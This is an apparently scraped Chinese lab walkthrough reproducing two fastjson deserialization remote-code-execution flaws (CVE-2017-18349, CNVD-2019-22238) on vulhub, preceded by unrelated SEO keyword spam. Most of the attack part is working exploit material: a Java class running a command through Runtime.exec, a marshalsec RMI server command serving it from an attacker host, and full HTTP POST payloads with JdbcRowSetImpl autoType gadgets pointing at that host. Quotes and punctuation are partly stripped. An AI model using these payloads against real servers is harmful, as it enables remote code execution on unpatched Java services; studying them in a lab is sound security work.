做物流网站多少钱,明星百度指数排名,北京h5网站建设公司,个人 备案 多个网站一.fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
fastjson在解析json的过程中#xff0c;支持使用autoType来实例化某一个具体的类#xff0c;并调用该类的set/get方法来访问属性。通过查找代码中相关的方法#xff0c;即可构造出一些恶意利用链 影响范围…一.fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
fastjson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链 影响范围Fastjson1.2.24及之前版本 环境vulhub 工具下载 marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt Runtime.getRuntime();String[] commands {touch, /tmp/success};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}2.开启http服务利用工具进行利用burp抓包 将编译好的class文件放到当前目录在当前目录下开启http服务
python -m http.server 8000使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.85.129:8000/#TouchFile 9999访问http://192.168.85.128:8090进行burp抓包发送一下数据包
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.85.129:9999/TouchFile,autoCommit:true}
}3.进入容器shell查看文件
docker ps
docker exec -it f780e8f24b90 /bin/bash
cd /tmp
ls二.Fastjson 1.2.47 远程命令执行漏洞(CNVD-2019-22238)
Fastjson是阿里巴巴公司开源的一款json解析器其性能优越被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单而在1.2.48以前的版本中攻击者可以利用特殊构造的json字符串绕过白名单检测成功执行任意命令。 影响范围:Fastjson1.2.47以及之前的所有版本 环境vulhub
工具下载 marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt Runtime.getRuntime();String[] commands {touch, /tmp/success};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}2.开启http服务利用工具进行利用burp抓包 将编译好的class文件放到当前目录在当前目录下开启http服务
python -m http.server 8000使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.85.129:8000/#TouchFile 9999访问http://192.168.85.128:8090进行burp抓包发送一下数据包 “dataSourceName”:“rmi://192.168.85.129:9999/Exploit和dataSourceName”:rmi://192.168.85.129:9999/TouchFile”都可以
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.85.129:9999/Exploit,autoCommit:true}
}3.进入容器shell查看文件
docker ps
docker exec -it 2be14733a78a /bin/bash
cd /tmp
ls